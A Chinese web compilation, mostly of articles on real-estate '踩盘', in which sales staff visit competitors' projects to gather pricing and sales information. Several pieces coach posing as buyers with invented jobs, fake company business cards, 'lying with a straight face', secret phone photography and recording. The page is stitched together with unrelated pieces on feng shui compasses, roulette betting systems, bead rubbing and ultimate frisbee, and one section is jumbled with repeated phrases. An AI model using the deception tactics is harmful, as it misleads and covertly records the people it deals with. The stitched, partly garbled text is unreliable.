教你如何去踩别人的盘？

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踩盘心得总结

踩盘心得总结踩盘是指在购房前，去实地查看房源的情况，了解周边环境、交通等情况的过程。

对于想要购房的人来说，踩盘是不可或缺的一步。

在踩盘的过程中，我们需要注意很多细节，下面我总结了一些踩盘的心得，希望能对大家有所帮助。

一、踩盘前的准备在踩盘之前，我们需要了解目标房源的基本情况，例如房屋面积、户型、楼层数、朝向、房屋类型等。

可以通过各大房地产网站以及房产中介的官网进行查询。

同时我们还需要了解目标房源所在的区域的市场价值，避免被中介或房主故意高定价。

此外，我们还需要了解目标房源的周边环境情况，例如周边的学校、医院、超市等。

这些信息可以通过百度地图、高德地图等APP进行查询。

二、踩盘时需要注意的细节1.检查房屋的采光程度和通风情况在踩盘的过程中，我们需要仔细检查房屋的采光程度和通风情况。

如果房间阳光充足、通风良好，会让我们感到舒适，同时也有利于我们的健康。

相反，如果房间采光不好、通风差，会给我们带来不适。

2.检查房屋的地理位置地理位置是影响房屋价值的一个重要因素。

在踩盘的时候，我们需要检查房屋所处的位置是否方便，例如是否位于主干道旁、距离公交、地铁站口等交通出入口较近的地方。

同时，我们还需要考虑房屋所处街区的安全情况，包括周边环境是否安静、治安等级如何等。

3.检查房屋的房型是否合适房型是我们选择房源时最为关注的因素之一。

在踩盘的时候，我们需要检查每个房间的实际面积、朝向、大小等因素，判断是否符合我们自己的需求和要求。

此外，我们还需要了解房屋的布局是否合理，注意是否存在过于狭小或太过拥挤的房间。

4.检查房屋的装修情况房屋的装修情况也是我们选择房源的重要考虑因素。

在踩盘的时候，我们需要仔细查看房屋的整体装修情况，包括水电布局、隔音效果、电器配备等。

如果发现问题，需要及时向房主和中介提出，并确定是否需要维修或装修。

5.与邻居交流在踩盘的时候，我们还可以与邻居进行交流，了解小区内的各种情况，例如业主委员会的运作情况、小区安全等。

营销谍战：项目踩盘8大标准动作

营销谍战：项目踩盘8大标准动作（销售必看）踩盘是每个地产营销人的必修课，踩盘需要做哪些准备工作？踩盘过程如何收集有用的信息？踩盘后如何完成高质量的总结报告？▌踩盘前的准备工作1.信息收集（1）网络信息采集：进一步确定踩盘的必要性，产品重合度，竞争契合度。

（2）报广搜集：项目主打广告语、定位、主推产品与本案是否接近？（3）售楼处电话地址：以备不时之需，还可以提前电话调查。

2.确定任务（1）根据已掌握的信息和调查目标，确定具体的踩盘任务。

（2）调研重点：交通、配套、商铺及车位销售、户型价格及区间、优惠等内容。

3.交通方式（1）踩盘最佳的交通方式：自行车。

原因：可以看得很细致，随时可以停下进行调研，随时可以停下问路、拍照，窄路不担心，坏路推着走——不用担心被抄牌。

（2）不适合情形：别墅调研、高档项目调研。

（3）奢侈一点的踩盘——汽车。

预算费用较高——商业间谍，必须的。

4.调查时间估算调查时间，留出足够的时间量；弄清楚地图，最好准备好路书，小心迷路。

行经道路，调研范围；计算成本，比如餐费、交通费、加油费、饮料等等。

5.物料准备（1）照相机：先得会用，其后别忘了卡和电池；（2）手机：偷拍的最佳工具；（3）笔记本：有问题随时记下，过后形成踩盘手记；（4）包：符合调研人身份的，实用的；（5）录音笔：需要的话。

6.身份准备（1）项目调研人数不能太多，人物间关系要处理好。

做什么工作？对什么户型关心，关心什么问题，提前确定——骗人不是件容易的事情，细节一定要照顾到。

（2）调研项目对人的服装、穿着有什么要求。

看别墅就别骑自行车了。

（3）善于伪装，说符合身份的话，比专业人员的思想境界要高。

少用专业语言，多说大白话，外行话。

（4）脸皮厚一点，别怕被人骂，反正也是背后骂两句，顶多背后你也骂他。

他要敢打你，恭喜你有机会歇工伤了。

（5）队友是很关键的，比如万一需要拍照。

7.电话预约（1）事先电话调查，并预约到访时间。

（2）更让对方相信你的身份，会有专门的人接待你——谁接电谁接待。

教你如何去踩盘

教你如何去踩盘踩盘是市调的一部分，也有分明踩和暗踩，然而应当如何踩盘呢？我以为也要因人而异，现在把我对踩盘的实际运用总结一下，希望得到同行业共鸣：1、踩盘年龄28岁以上者：建议用暗调，因为外表相对老成，售楼小姐较难从第一感觉判断身份。

2、踩盘年龄25以下者：建议明调，但要考虑城市销售水平，一旦采取明调，则要求踩盘者需要足够大的耐心和职业水平，因为许多重要的数据不可能从售楼人员口中得出，必须通过蹲点观察销售过程才能获得信息，尤其在三线城市更是这样。

根据各类所需数据我将采用不同方法：1、各类经济技术指标：这类数据是最容易获取的，可以从一些楼书等宣传资料获得。

2、项目周边市政配套：也是比较容易获得，暗调时有培训过的售楼小姐一般都会主动告诉你，明调也有可能得到。

一线城市完全可以从市区地图中获取数据，不过最好再亲自走走比较好些。

3、项目内的配套设施及物业管理相关：可以通过先看沙盘、楼书，再询问售楼小姐确认。

4、价格：获取均价很容易，一个电话一般都能成功获取信息，但是要采集的是楼层差价，方向差价，景观差价的话就需要一些小技巧了，该怎么做呢？4.1楼层差价：通常我到售楼现场后，通过询问获知有相邻楼层同一方向的两套房子有空缺：于是我就把楼上、楼下两套房子价格都问一下，再相减基本上就可以认为是楼层的差价概数了，当然用这个方法还要考虑对方项目是多层、高层问题。

多循环几次，一般都能采集到差价问题。

4.2景观差价：也是同理，就是把同一楼层相邻的几套价格都问一遍，可以对销售人员说想买两套之类的话。

4.3其他差价：同理，选取不同角度来询问，但是一次踩盘不要问太多价格，可以考虑多次踩盘。

如果用明调的话我觉得是赌博，一旦售楼小姐不配合，这些数据你就很难获得，而暗调只要有耐心，没什么数据是调不出的。

5、停车调查：相对容易也可以从电话上获取，但要获得车位数量、规格就得看楼书宣传或到现场看图纸了。

6、空置率调查：问保安，查看小区贴出来水电缴费表，凡是没有电费的都是空置，实在不行就只好一家一家走了，看装修情况。

罗盘的使用方法图解完整版

罗盘的使用方法图解完整版罗盘一直是风水大师们常用的物品之一，一般风水师都会使用罗盘，罗盘是用来测量的工具。

通常用于建筑朝向、凶吉的断定。

风水罗盘，又名罗盘、罗经、罗庚、罗经盘等，由天池(指南针)、天心十道和内盘构成，整个圆盘可以来回转动，是风水师在堪舆风水时用来立极定向的测量工具。

什么是罗盘罗盘是用来定房屋坐向的，如坐南朝北，坐东朝西，这是我们常用的表示坐向的说法。

但风水师将坐向分成二十四个坐向，每十五度一个坐向，只有用罗盘才可定出这么精确的坐向。

罗盘一般由地盘和天盘组成。

地盘是正方形，或称托盘，上有十字形两条线，中间凿有一个凹圆。

天盘是圆形，盘底略凸，置于地盘的凹圆上可以旋转。

天盘中间装有一根指南针，大致指向南方。

天盘和地盘象征天圆地方。

风水罗盘学名为罗经，创自轩辕黄帝时代，后经过历代前贤，按易经及河洛原理，参以日月五星七政及天象星宿运行原则，再察地球上山川河流，平原波浪起伏形态，加以修正改良制造而成，用于测定方位和勘察地形，堪舆地师及海员大都称它为“罗盘”或“罗庚”，很少称为“罗经”。

天盘上的指南针。

风水先生称为正针。

正针所指的方向实际不是正南。

为了测定正南，又设立了缝针。

缝针与正针之间形成磁偏角。

圆盘上的圈层有的简略，有的复杂。

少则三层，多则四十多层。

每层都有文字或符号，都有特定的意义。

在沿海的福建漳州、广东兴宁，内陆的安徽休宁、江苏苏州都有不同的罗盘。

罗盘的种类很多，常用的有玄学通电子风水罗盘、三元盘、三合盘、三元三合两用盘、易盘、玄空盘及各派所用户的独特盘。

但无论是那门那派的罗盘，中间必有一层是二十四山方位的，从北方开始依次序排列分别是壬子癸、丑艮寅、甲卯乙、辰巽巳、丙午丁、未坤申、庚酉辛、戌乾亥等。

共二十四个方位。

罗盘的演变在指南针发明以前，古人主要依靠观测天星来辨别方位。

后来我们的祖先发明了指南车和日圭，用来分辨地平面方位。

日圭其实就是最早的罗盘，它将地平面平均分为12个等份，用十二地支子、丑、寅、卯、辰、巳、午、未、申、酉、戌、亥来表示方位。

房地产踩盘技巧

踩盘是每个做房地产呢销售必经的一堂课，可是对于新手，如何踩盘，踩哪些内容，是他们所不知道的。

在这里，将自己的一些见解和看法总结下来，和广大置业顾问分享。

踩盘的目的：获知区域内楼盘的竞争对手的最新消息，从而掌握消费者的需求及心理，以便我方做出最贴合市场的营销策略。

古彦讯“知己知彼，百战不殆”。

踩盘的方式：明踩和暗踩明踩：表示欢迎前来学习，大体告知项目情况，并询问对方楼盘是何种情况，但对于我方信息不要过多的透漏。

暗踩：就是同行假装客户前来踩盘，其目的就是为了获得更多更真实的销售资料情况。

如果你感觉对方像是踩盘人员，可以深入的去问问题，比如说：他说我是做服装的，那好，你就可以去问他，具体负责哪块业务，服装生产的流程是什么，你们是做自有品牌还是OEM加工等问题。

看对方的对答反应，你就能大体得知是否为踩盘.踩盘的重点：项目基本信息（总建、容积率、居住户数）、价格、均价、起价、最高价、差价及走势）、规模、卖点、开盘时间、销售进度、户型面积及配比、推盘楼座、优惠幅度、配套（外配、内配）、物业形态、建筑风格、营销活动、所剩房源情况。

关于价格：可以起到借鉴参考的作用，例如牡丹万象城已经开始了所谓的团购认筹活动，并制定出了今年的团购价格--3980元每平米，可以说我们两家楼盘目前处在同一阶段，其提早制定出价格，对于我们来说反而是好事，这样我们针对市场情况，参考对方的价格，制定出我项目价格。

这样就能达到制胜对手的目的。

关于户型面积：了解对手户型面积，是我们要知道对手的具体户型配比、面积区间、所剩房源情况，一来可以很好的应对客户提出的户型问题，二来可以掌握市场的面积需求区间踩盘的时间：分为项目前期、销售前期、销售中期、销售后期。

不同时期踩盘的策略点极不相同。

项目前期：此时重点是研究对手的产品，此类产品包含户型、面积区间、物业形态、社区配套及档次。

当然以上肯定是从客户的角度出发去思考问题，但是研究客户不如研究对手，因为对手早就对客户研究透彻了，研究竞争对手是对市场的最直接认识，从而制定我方产品规划及定位策略。

踩盘方法和踩盘技巧

踩盘方法和踩盘技巧踩盘人员数量要求：建议同一楼盘踩盘人数尽量控制在3人以下，这样不容易让楼盘客户服务专员有所察觉，从而降低获取资料的准确性和专业性。

踩盘人员穿着要求：根据楼盘的不同品质进行服装搭配，以休闲服饰为主，以免暴露身份。

踩盘人员随身携带物品要求：笔、名片①（非真实公司名片）。

楼盘个案分析表范本（见附件1）。

关于楼盘个案分析表中涉及到的专业名词的解释、了解方式及填写注意事项。

（见附件2）楼盘个案分析表中部分专业名词的询问方式。

（附件3）关于踩盘和填写楼盘个案分析表的基本要领。

（附件4）突发事件的解决办法。

（附件5）踩盘标准作业流程：准备工作:事先确定踩盘区域，能够事先了解该区域内的个案的话就根据该区域内个案落实到个人或小组，明确分配个人或小组的踩盘数量和具体个案名称，规划好踩盘路线。

注：要求在踩盘前做好以下准备工作：了解该区域内的道路、商业、居住环境以及公园绿地、就学条件、就医条件和人文遗产大型公建等情况，以便在填写楼盘个案分析表时能反映其真实的地理环境和周边生活设施情况。

尽量了解楼盘个案分析表里所反映的关于该楼盘的相关问题，明确该问题中所包含的专业名词的实际含义以及了解渠道。

踩盘人员进入接待中心：主动表示来看房，先要求销售人员介绍楼盘情况请销售人员先将整个楼盘的大致情况介绍一下。

（通常情况下接待人员会主动介绍楼盘情况），通过销售人员的介绍，大致可以了解到一些关于该楼盘的基本技术参数和产品特征。

✧索取楼盘书面介绍资料向销售人员索取相关的楼盘书面介绍资料。

以便更进一步详细了解该楼盘的一些资料。

✧引导销售人员在通过之前几个步骤后，应该对该楼盘有一定的了解，但Array在销售人员介绍的同时，往往有一些踩盘人员要了解的资料他们未能提供，这个时候就需要踩盘人员去引导销售人员。

通常采取的方式为自称买房客户或投资客来深入了解该楼盘的相关信息。

（①同时如果有名片的话可以递上名片以表诚意）✧向销售人员索取名片在完成以上步骤后，在离开接待中心前，向销售人员索取名片或联系方式，用于在回去后如果有不清楚的地方可以电话里再次询问，这样做也可以起到提高踩盘人员的诚信度的作用。

关于踩盘和回访的话术

培训四关于踩盘和‎回访电话的‎话术踩盘话术首先是拜访‎策划经理或‎者销售经理‎，最好是拿到‎经理的联系‎方式，提前做好沟‎通什么时候‎过去，以免扑空。

一、到了之后找‎经理等负责‎人，如果不在就‎找销售主管‎，递上名片，自报家门：1.您好，我是咸宁房‎产网的编辑‎X X，今天过来这‎边是来采编‎一些楼盘信‎息的，这是我的名‎片……2.您好，我是咸宁房‎产网的编辑‎X X，过来了解一‎下这边的最‎新动态，帮你们做个‎宣传（语气要谦和‎）……二、如果负责人‎不在，或者负责人‎在忙，一般会找置‎业顾问来回‎答，没有经验的‎置业顾问一‎般会问“你们想知道‎什么”，这个时候就‎简单的告诉‎她“了解一下你‎们项目现在‎在售和在建‎的情况”，然后在售情‎况从主推户‎型等，一步步问下‎去，在建情况从‎在建是哪几‎栋楼，分别到了什‎么进度分别‎一步步问下‎去。

关于采编信‎息根据不同‎楼盘情况不‎一样：新盘：需要信息全‎面一些，整个楼盘信‎息页首页的‎信息都要第‎一时间挂上‎去，包括：价格、楼盘位置、售楼部位置‎、主力户型、物业类别、房屋属性、建筑面积、占地面积、开盘时间、交房时间、产权年限、装修情况、绿化率、容积率、总户数、交通状况、咨询电话、优惠信息、预售证、物业费、开发商、付款方式；项目介绍；周边配套；交通状况；物业管理；宣传视频，如果无宣传‎视频自己可‎以去拍沙盘‎讲解；效果图；户型图等等‎。

在建盘：因为前期的‎项目介绍有‎一些了，现在就可以‎主要是问价‎格的更新、工程进度（分几期，每一期的每‎号楼的工程‎进度）、交房日期（每一期每一‎批次的交房‎）、在售主推户‎型（主推的、最大的最小‎的户型）、房源情况、优惠情况、如果有商铺‎问商铺情况‎、销量情况等‎等。

重点的分阶‎段的写楼盘‎情况包括：动工、封顶、外立面做好‎、水电气三通‎、认筹、认购、开盘、交房、清盘等阶段‎来写各个楼‎盘情况。

在重大的楼‎盘活动日期‎，比如破土动‎工、开盘等等可‎外加拍视频‎。

教你如何踩盘(最新全程版)

刚入行的销售人员在踩盘时，的状况，刚入行的销售人员在踩盘时，都会出现羞涩的状况，其心理潜意识就是觉得我不是客户，我还买不起房。自信、主动、识就是觉得我不是客户，我还买不起房。如何炼成自信、主动、不卑不亢的赢家心态，的心理？不卑不亢的赢家心态，在踩盘进入售楼部时保持镇定的心理？
就当成自己真的想去买他的房子，假如他的房子很好，就当成自己真的想去买他的房子，假如他的房子很好，自己买也
通过几个回合的“较量” 通过几个回合的“较量”，我个人认为方法一：我个人认为方法一：
1. 第一，在踩盘之前可以从网络、报纸、宣传单、电话等途径初步了解项目的一些情况。第一，在踩盘之前可以从网络、报纸、宣传单、电话等途径初步了解项目的一些情况。一般会了解到项目开盘时间、户型、面积以及一些卖点之类的基本信息。 2. 第二，提前打个电话预约一下，留下置业顾问的姓名，这样可以增加可信度，简单询第二，提前打个电话预约一下，问以后就可以过去看房了，这一通电话可以获取一些价格方面的信息，比如均价、最低价或者某个楼层的具体价格之类的。 3. 第三，在约定的时间之前到达现场观察一段时间，一般售楼处都会设在现场，看看工第三，在约定的时间之前到达现场观察一段时间，程进度和现场的情况，通过一段时间对售楼处客户量的观察进行销售状况分析。 4. 第四，走进售楼处，直接要求该位置业顾问接待，这样就可以直接切入主题，不会被第四，走进售楼处，直接要求该位置业顾问接待，怀疑。当然了，事先要想好自己的职业、收入之类的，最好是说一家自己比较熟悉的公司和行业，以增加可信度。 5. 第五，在现场问的不能太多，看好价格、楼层、户型、面积以后，立刻要求去看房，第五，在现场问的不能太多，要对房子更感兴趣一些才行，在看房的路上以及看房的过程中穿插问一些其他的问题， 33 当然不要问的太专业，要引导置业顾问讲。

踩盘的方法和意义

分析对手一通过市场调研获取竞争情报俗话说：“知己知彼，百战百胜。

”了解产品是知己，分析对手是知彼。

所以，在了解了自身产品的有关信息之后，我们还要对竞争对手作详细的分析。

没有调查就没有发言权。

在售楼中，我们主要是通过市场调研来获取竞争楼盘的情报的。

明确市调目的与内容市场调研，业内通常称为市调，它也是售楼人员的一项基础工作。

市场调研贯穿于一个房地产项目开发经营的全过程。

不同的时段，不同的目的，市场调研的内容也是不同的。

比如，购地前的市场调研，主要侧重于地段价值的分析；配合产品规划设计工作进行的市场调研，主要是研究消费者的需求特征，挖掘市场的空白点；配合广告策略进行的市场调研，主要是研究消费者的购房心理和竞争对手的广告策略；等等。

（一）目的对于售楼人员来说，其市调主要是针对竞争对手（竞争楼盘）进行的。

之所以要求售楼人员对竞争楼盘做市调，主要是为了让售楼人员详细了解竞争楼盘的情况，分析他们的优点，寻找他们的弱点，从而在销售洽谈中占据有利位置。

此外，对竞争楼盘的市调，还可以帮助售楼人员学习其他楼盘销售人员的一些销售方法和技巧，从而提高自己的销售水平。

（二）内容在做竞争楼盘的市调时，我们首先要对区域市场的整体楼盘概况有所了解，如区域市场内有多少个楼盘、分别是什么样的楼盘、其位置分布情况。

各个楼盘的产品概况和价格情况等基本内容。

然后，我们要从区域市场内找出重点、可类比项目进行更为详尽的市调分析。

重点项目是指在区域房地产市场中，具有较大影响力的某个或某些项目，如某区域的楼盘，在大家都是住宅、都是一样的价格、都是一样的品质的情况下，其中有个卖得相当好，这就是区域产品应该着力分析的地方。

可类比项目，是指与本项目具有可比性的项目，如周边同类楼盘等。

在对重点项目、可类比项目进行市调时，通常应着重把握以下六大项内容：1．分析楼盘的地理位置大的方面讲，就是分析楼盘所处区域的历史沿革，区域特性（商业中心。

工业中心、学院等），了解区域交通状况（公交、地铁、高架、轻轨、省市级公路、区县级公路等，了解公共配套设施（水、电煤等市政配套；公园、学校、医院、影剧院、商业中心、超市、宾馆、图书馆、体育场馆、集贸市场、酒店等生活配套）和人文环境等等。

踩盘技巧总结汇总

踩盘技巧总结汇总第一篇：踩盘技巧总结汇总关于踩盘讨论背景最近公司的踩盘活动较多，发现在踩盘过程中有很多信息是可以不用去现场就可以查到的，有些信息到了现场还是得不到。

于是脑袋里出现了一些问题——踩盘的目的是什么？主要调查哪些信息？踩盘的方法及注意细节等。

看了很多解疑的资料，结合自己一些踩盘的感受，写了这篇文章，目的主要是为了把自己对踩盘的认识和以后该注意的地方罗列起来，以便在以后的踩盘中能有更大收获。

一、对于踩盘的认识1、踩盘在市场调研中的地位当今竞争激烈的经济环境下，市场调研的作用越来越大，是决策的重要甚至唯一依据，“没有调查就没有发言权”。

在国外的一些成功企业里，用于前期市场调研的资金已经超过了研发的费用。

在资金量很大的房地产行业中，市场调研的作用更是不可忽视。

在我看来，房地产市场调研中的前段资料、数据信息的搜集调查的难度不亚于后面的分析研究部分。

而调查的数据信息中，一手信息往往比二手信息更真实可靠，更具有说服力，但调查的难度也较大，尤其是客户需求调查。

踩盘属于一手信息的重要搜集途径，是非常重要的。

2、踩盘是为了解哪些信息很多人可能和我有一样的疑问——我们要知道的东西好象大部分可以直接通过网络和电话解决，去踩盘不是浪费时间吗？这个问题长期捆饶着我，总觉得踩盘好象没多大作用，很浪费时间，因为已经有很多渠道了解很详细的楼盘信息了：基本技术指标——各大房产网和项目网站项目规划——到销售中心看沙盘或者楼盘自己的网站推盘节奏——项目动态监控户型配比——市场信息网，自己打开楼盘表数（有点烦琐）销售率——网上备案都能查到（用已售量除总供应量）购房者对楼盘的评价——业主论坛到底还有哪些信息需要踩盘来了解，我通过查阅一些资料，看了很多帖子，基本上搞清楚踩盘到底有什么作用了：（1）对项目以及周边的经济、区位、人文、自然环境有个直观的感受；（2）可以了解一些项目的细节，比如销售人员的素质、销售案场的包装以及样板间等一些营销方面的感受。

踩盘心得体会范文

踩盘心得体会范文篇一：踩盘心得通过到道县各个楼盘进行踩盘，我了解到“安家立业”的说法。

正所谓要想立业必先安其家，所以我认为在道县现阶段正处于建设发展初期，房地产事业必然是住房需求多过于商铺的需求。

据针对道县各个楼盘进行的踩盘调查了解到，道县现有住房楼盘销售量均超过了80%，并且都采用预售住房模式，这说明了道县正处于住房的市场需求量大于各楼盘的商品住房量，造成了道县房地产事业供不应求的现象，也正是道县住房房价迄今为止上涨了40%-60%的基本原因。

针对各个楼盘房价的不同可以看出，楼盘位置和楼盘整体构造包括项目构思理念等，是现阶段影响房价价格的主要因素。

楼盘位置是影响楼盘销售的关键，而楼盘的构思理念则是塑造位置的关键，二者都是影响房价的重要因素。

通过对华诚与松林苑的了解，华诚的项目构思是打造道县最大、环境最高档的豪华小区，而松林苑是属于比较普通的小区，所以在造势方面，华诚做的比较好。

其次，华诚也是这样做的。

通过我对华诚踩盘了解到，其楼梯房是采用欧式洋房与中式庭院的建筑形态，为四层的多层建筑。

绿化保留了原机械厂内多年古树，并增加了许多现代绿植，绿化范围比较大，小区内有休闲座椅和健身休闲设备，且小区内有完善的生活商业设施，例如生活便利店、幼儿园等。

安保方面，小区内全面覆盖监控设备，并有保全人员巡逻。

所以华诚比松林苑高档。

但是这两个楼盘在道县城市建设小江口路未规划完善的情况下，交通极为不便，据我了解，小江口路通往城中心只有一路公交车，它的发车间隙为10-20分钟，在某些时间段，甚至到30分钟，并且因为车量少的原因，乘客较多，对晚归人士来讲，公交10点之后不营业，非常不方便。

所以据上述所言，我认为本公司项目不存在主要问题，而目前最主要的问题是道县市场需求偏向于住房，不过当住房市场需求接近饱和人们安了家便开始立业了，后期商铺发展兴起是大势所趋。

篇二：踩盘心得本不是喜欢逛商场的人。

如今，打着踩盘的名义，在一个月的时间内，将老家大大小小的商场踩了个遍，而且还能携着逛街专家去看新商场!心中小小得意一番先，不过为了心理舒适，我逛商场是有意识的带着“职业病”的，似乎数数柱距，算算层高，分析分析布局，业种业态——这会让我别扭的心情得到舒缓!没办法，不是很适应商场。

玩轮盘的技巧 -回复

玩轮盘的技巧-回复玩轮盘的技巧指的是在赌场中玩转轮盘游戏时用于提高胜率的策略和技巧。

在轮盘游戏中，玩家通过投注筹码在盘上的不同位置上，然后等待轮盘停止旋转并停在某个号码上，如果该号码与其投注的结果相符，则玩家将赢得相应的奖金。

虽然轮盘游戏是一种随机的游戏，但是有一些技巧和策略可以帮助玩家提高胜率。

在本文中，我将一步一步地回答关于玩轮盘游戏的技巧。

第一步：了解基本规则和赔率在开始玩轮盘游戏之前，首先必须了解游戏的基本规则和赔率。

轮盘游戏中有两种主要类型：美式轮盘和欧式轮盘。

两者之间的主要区别在于美式轮盘多了一个额外的双零号码，而欧式轮盘只有一个单零号码。

由于美式轮盘的赔率较低，因此我们建议选择欧式轮盘游戏。

在轮盘游戏中，有许多不同类型的投注选项，包括红/黑、偶/奇、大/小等。

每种投注选项都有不同的赔率。

例如，如果您选择在红色上下注，并且您的注码在红色停止，您将赢得一倍的赔率。

如果您在单个号码上下注，并且赢得了，您将赢得35倍的赔率。

熟悉不同投注选项和赔率是制定玩轮盘游戏的策略的关键。

第二步：使用合理的赌注策略选择合理的赌注策略也是玩轮盘游戏的关键。

以下是一些常用的赌注策略：1. 马丁格尔策略（Martingale Strategy）：这种策略是在每次失败后翻倍下注，直到赢得一次。

然后，您可以重新开始下注的初始金额。

这个策略的目标是通过一次赢的机会来抵消之前的损失。

然而，使用这种策略时必须小心，因为连续的失败可能会导致巨大的损失。

2. 反马丁格尔策略（Reverse Martingale Strategy）：这种策略是在每次成功后翻倍下注，直到您达到一定的目标金额或遇到一次失败。

与马丁格尔策略相反，这种策略的目标是通过连续的胜利来增加赢得的金额。

然而，同样需要注意连续的失败可能会导致损失。

3. 达拉贝尔策略（D'Alembert Strategy）：这种策略是在每次失败后增加一个单位的赌注，并在每次胜利后减少一个单位的赌注。

盘串的正确手法

盘串的正确手法
《盘串的正确手法》
嘿，咱今天就来唠唠盘串这事儿！要说盘串啊，那手法可太重要了。

我记得有一次，我看到朋友在那盘串，嘿，那架势，真叫一个专业。

只见他先把串儿拿在手里，就像捧着个宝贝似的。

然后呢，用大拇指轻轻地在珠子上摩挲着，慢慢地，一圈又一圈。

我就好奇地凑过去问：“嘿，你这是咋盘的呀？”朋友笑了笑说：“这你就不懂了吧，盘串可不能瞎盘，得有技巧。

”
他接着说，首先啊，手得干净，不能脏兮兮的就去摸串儿，那可不行。

然后呢，力度要适中，不能太轻也不能太重，就好像在给珠子做按摩一样。

他还边说边示范给我看，那手指灵活地在珠子上跳动，真的特别有意思。

我也试着学他的样子盘起来，哎呀，一开始还真不适应，不是力度大了就是小了，珠子都快被我盘飞了。

朋友在旁边看着哈哈大笑，说：“别急别急，慢慢来，这得练呢。

”我就静下心来，一点点地找感觉，慢慢地，我好像也掌握了一点窍门。

从那以后，我也喜欢上盘串了，没事的时候就拿出来盘一盘。

我发现啊，这盘串还真能让人静下心来，忘掉一些烦恼呢。

所以啊，盘串的正确手法就是要耐心、细心，就像对待一个好朋友一样，慢慢地去感受它，和它建立起一种特殊的联系。

哈哈，大家也快去试试吧！。

资讯踩盘要点——一个地产界的007

资讯踩盘要点——一个地产界的007踩盘要点什么是踩盘？踩盘：踩从何来？踩道——黑话，偷偷地熟悉情况，现场勘查，选定目标。

是房地产业内，对到达现场搜集目标楼盘项目信息的一种市场调查方式的称谓。

它是商业情报收集的一种，规范的、总括的说法叫市场调研，说得极端一点叫商业情报搜集（商业间谍）——在这一点，中国落后于发达国家（美国、日本）。

踩盘的类比踩盘人=侦察兵素质最佳的士兵，战争中前出刺探情报，侦察情报。

古代叫斥候，尖兵，探子，战时的间谍——为后续的军事行动做好信息（情报）支持。

踩盘的目的深入了解市场，为项目策划提供第一手的资料信息。

及时了解对手的项目动态及优劣势，为竞争提供决策依据，找到击败竞争对手的办法和机会。

迅速了解和明晰市场，为打动开发商做好新鲜的、第一手的信息储备。

学习提高，锻炼新人——向对手学习，让新人迅速融入行业。

人的竞争性，没有竞争意识注定被淘汰。

踩盘者素质要求较强的沟通能力：不管明调还是暗调，都依赖于人与人之间的无障碍沟通。

在较长的沟通过程中，能够准确把握和理解对方的意图，并保持良好的沟通氛围才能成功（朗钜明调失败）。

心理素质和表演能力：暗调尤其要求高，脸不变色的说谎能力，能够换位表达购房者的意图（中间若露馅装傻）。

具备足够的专业知识：对行业内的相关知识掌握熟练，做到迅速分析自己看到的，听到的。

对调查工具的使用技能：数码产品（相机、录音笔）、交通工具。

具备活地图和方向感知能力：对道路交通和方向感的把控超出常人。

踩盘前准备工作1、选定踩盘目标。

2、信息采集（网络信息采集、报广采集、售楼处电话地址）。

3、确认踩盘任务：根据已掌握的信息和调查目标，确定具体的踩盘任务。

4、交通方式：踩盘类型不同，交通工具也不同。

一般情况推荐自行车，可以随时停下来拍照、问路、情况掌握较为细致。

5、调查时间：估算调查时间，留出足够的时间量；弄清楚地图，最好准备好路书，小心迷路。

行经道路，调研范围；计算调研成本。

6、物料准备：相机、手机、录音笔等等。

赢在第一步，进攻方如何处理好开盘盘客

赢在第一步，进攻方如何处理好开盘盘客我们学习过很多开盘的技巧，也看过很多开盘的技术，我们一直在被教授着如何开一个好盘。

那你有没有学习过如何在进攻的时候处理好开盘呢？如果，这是你第一次听说处理开盘还有方法，那么下面你需要好好学习了。

在阅读下面的文章前，请先回忆一下你在开始进攻时面临过哪些尴尬的事情？1，接盘手滑，盘从手里飞出去了2，飞盘飞过来落地，从身旁滚走了3，你尝试用身体去停下在地上滚的飞盘，结果飞盘撞到脚又从底线滚出去了4，一个大刀盘飞过来，你不知道该接不该接5，飞盘飞过来，没有一个传盘手准备去接盘，飞盘落到了得分区，才有人想起去捡盘6，当你捡起盘，防守人全部都压上来了，飞盘被逼在得分区，一不小心就被Callahan了7，对方开盘直接落在了边线旁，你开始进攻的时候，防守方直接将你逼在了边线上。

相信我们不少人遇到过这些情况，有没有想过，这些并不一定是不可破的局面？魔高一尺，道高一丈！再厉害的开盘，我们也有机会转危为安。

1，临危点兵在赛场上常见的是横排和竖排的两种战术，横排是三名传盘手，竖排是两名传盘手，当对手开盘过来时，我们会需要指派一名传盘手去接盘，你可以在比赛开始前就安排一名很会接开盘的选手去专门接盘，也可以在飞盘飞近是临时指派一名传盘手去接盘，传盘手之间相互沟通，比如说“A接盘，B配合”。

飞盘飞近时，一般看A接盘的位置最好，会迅速作出判断，让A去接盘，然后让另外一名队员B迅速准备在接盘队员接住飞盘后，立刻配合接A的传盘。

传盘手在场上迅速的沟通能够保证进攻时不会出现不知道谁接盘而浪费接盘的机会，或者几个人同时去接飞盘，结果没有人做好接第二手飞盘的准备，浪费向前推进的机会。

2，当好接盘侠我们已经指定了A接盘了，那么现在面临的问题是如何接盘了。

面对不同的开盘，需要有不同的是接盘方式，最好的情况是飞盘在空中的时候被传盘手接在手里并能够迅速投入进攻，这时你要做的就是全神贯注的接住飞盘，大部分掉盘都是接盘的时候分心。

踩盘心得总结

踩盘心得总结心得与体会今天和辉哥一起到保利山庄去踩盘了，我们是上午10点半左右从绿地二号桥出发的，中午1点半结束的。

我们都是步行过去的，沿途观看了周边的环境和社区配套，第一感觉就是，上面到目前为止，交通还是相当不方便的。

由于还在施工，环境比较杂乱无章，车辆摆放无秩序，空气中粉尘比较多。

售楼部门口摆放着自己的宣传广告语，切合实际又新奇，举行钓鱼大赛的形式吸引眼球。

保利的售楼部简约而不简单，整个面积比较大，给人一种高端大气的感觉，物管方面做得也比较好，十分的热情，亲切，有礼貌。

售楼部整个布局比较合理，中央一个大的沙盘，周围是各个项目的小沙盘，各个职业顾问的形象比较佳。

样板间基本没什么问题，装修比较豪华，设置比较合理，没有像我们样板间那种低级的错误，看房车的师傅也很热情。

今天的体会颇多。

首先，是了解了市场调查大致的基本流程，不管你是谁，你都必须保持十分的谦逊，“以诚待人”，话不能多，随时关注对方的眼神，眼神上的交流还是很重要的，要善于和人家沟通，言语上面不能浮夸，不能让人家觉得你是个夸夸其谈的人。

在问问题的时候要有自己的技巧，不要光记到问而不注重与对方的沟通和交流，这样对于后期的踩盘是相当不利的，要虚心学习，虚心受教，和对方建立起一个友好的关系，便于下次的交流，方便我们踩盘，这样才能拿到最真实的数据，当然这个也是相对来说。

在售楼部现场，要多多观察，看看人家的布局，人家的配置，人家的服务态度。

这样回到自己的公司才能提出相应的改善措施。

